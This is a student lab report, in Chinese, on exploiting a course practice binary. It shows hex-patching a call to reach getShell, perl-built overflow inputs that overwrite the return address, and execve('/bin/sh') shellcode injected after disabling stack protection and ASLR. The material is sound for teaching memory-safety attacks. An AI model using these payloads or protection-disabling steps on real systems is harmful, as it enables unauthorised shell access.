一、实践基本内容
1.实践要求掌握内容
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
2.实践目标
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实践步骤以及思路
使用 objdump -d xxxxx|more 反汇编指令查看可执行文件 20164316zzy
(在实践中主要注意getshell函数、main主函数以及foo函数)
可以根据上图中得出
①NOP汇编指令的机器码是“90”;②JNE汇编指令的机器码是“75”;③JE 汇编指令的机器码是“74”;④JMP汇编指令的机器码是“eb”;⑤CMP汇编指令的机器码是“39”;以及getshell函数起始地址 0804847d 、foo函数起始地址 08048491 。
目标一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
思路:由main函数中的call跳转语句可知,将在此时跳转至foo函数的起始地址 08048491 ,对应的机器码为 e8 d7 ff ff ff
其中 e8 为call汇编指令对应机器码, d7 ff ff ff 这四个字节则代表执行跳转指令时需要与“eip”寄存器相加的偏移量;
getshell函数起始地址 0804847d 、foo函数起始地址 08048491 ,两者相差14;则可以修改 d7 ff ff ff 这四个字节使其少偏移14,即修改为 c3 ff ff ff 。
具体步骤:
1. vi 20164316zzy 使用vim编辑器打开可执行
2.输入 :%!xxd 将该文件转换为十六进制显示,然后用 /e8d7 查找需要修改的内容;
3.修改d7 为c3,并将文件转化为原格式显示, :wq! 退出vim编辑器,再反汇编可执行文件查看是否修改正确
(P.S.修改后必须将文件转化为原格式显示,以十六进制格式退出编辑器会改变文件格式,导致无法执行)
4.使用 ./文件名 执行该可执行文件,能通过shell窗口执行任意命令
目标二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
思路:foo函数中存在Buffer overflow漏洞,我们可以利用foo函数在读入字符串时,超出32字节的缓冲区的部分会造成溢出,从而覆盖原返回地址 080484ba ,覆盖部分则为getshell函数起始地址 0804847d ,使其能跳转getshell函数(重点即在于我们需要确定输入的字符串哪一部分将会覆盖在返回地址上)
具体步骤:
1.使用GDB调试工具,运行可执行文件,输入字符串 1111111122222222333333334444444455555555
输入 info r 查看eip寄存器的值,确定是55555555部分字符串覆盖了返回地址
(字符1.2.3.4.5.6.7.8对应的ASCII码十六进位分别是31.32.33.34.35.36.37.38)
2.为了进一步确定覆盖范围,再使用GDB调试工具,运行可执行文件,输入字符串 1111111122222222333333334444444412345678
输入 info r 查看eip寄存器的值,确定是1234部分字符串覆盖了返回地址,并且是倒序覆盖。
3.退出GDB调试工具。由于不能直接键入十六进制值,所以我们需要先生成包括\x7d\x84\x04\x08这样字符串的一个文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
用 xxd input 以16进制显示input文件,检查覆盖地址部分是否有误
4.然后将input通过管道符“|”,作为20164316zzy这个可执行文件的输入,接下来则能通过shell窗口执行任意命令
目标三:注入一个自己制作的shellcode并运行这段shellcode。
思路:Linux下有两种基本构造攻击buf的方法:①retaddr+nop+shellcode ②nop+shellcode+retaddr。
本次实践中,缓冲区为32字节较小,则把shellcode放后边,采用①retaddr+nop+shellcode。
采用老师提供的shellcode 的代码
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
\x4\x3\x2\x1是覆盖到堆栈上的返回地址的位置,我们须在调试后将其改成shellcode的地址
具体步骤:
1.首先安装execstack,并设置堆栈可执行 、关闭地址随机化。
execstack -s xxxx(文件名) //设置堆栈可执行 execstack -q xxxx(文件名)//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询地址随机化状态,0为关闭,2为开启
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
2.生成包括retaddr+nop+shellcode字符串的一个文件,然后将input通过管道符“|”,作为20164316zzy这个可执行文件的输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
3.再开一个终端;用 ps -ef | grep 20164316zzy 来显示进程列表,从而确定正在执行的进程的进程号 3524
4.启动GDB调试工具,并通过 attach 进程号 连接进程来进行调试;
使用 disassemble foo 反汇编foo函数。
5.用 break *0x080484ae 设置断点,程序就会执行时在断点处停下来;
输入 c 即continue继续,输入 info r esp 查看esp寄存器的地址,用 x/16x 以16进制查看数值;
找到\x4\x3\x2\x1的位置即 0xffffd35c ,注入shellcode代码的地址应该在后四个字节的位置即 0xffffd360
6.将 \x4\x3\x2\x1 替换成 \x60\xd3\xff\xff
perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
然后将input通过管道符“|”,作为20164316zzy这个可执行文件的输入,接下来则能通过shell窗口执行任意命令
三、实践中遇到的问题
问题一:在实现目标一的过程中,将d7修改成c3后,未将文件还原为原格式显示,以至于文件格式改变,无法进行反汇编。
问题解决:重新又做了一遍实验一...修改时将文件还原为原格式。
问题二:在实现目标三的过程中, 将\x4\x3\x2\x1替换成\x60\xd3\xff\xff后,shell窗口输入命令时会提示“段错误”。(此处忘了截图)
问题解决:查询实践指导后,发现有以下五个预设条件
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
而我在实践中并没有检查(1),于是尝试了关闭堆栈保护,然后shell窗口能够成功运行。
四、实践总结
收获与感想:在整个过程中对缓冲区溢出有了更为详细和生动的认识,同时实践并不是一步步按照实验指导来,而是要弄懂一步步更为深层次的意思,才会有更大的收获。同时,实践中遇到问题不要退缩,查询资料,一步步分析问题、解决问题,是比起单单做实践有了更多的学习和更加深刻地认识。
问题:什么是漏洞?漏洞有什么危害?答:漏洞是一个系统或者程序的缺陷,漏洞可能会被不法分子所利用造成对系统、软件、程序的危害,被非法攻击之类的。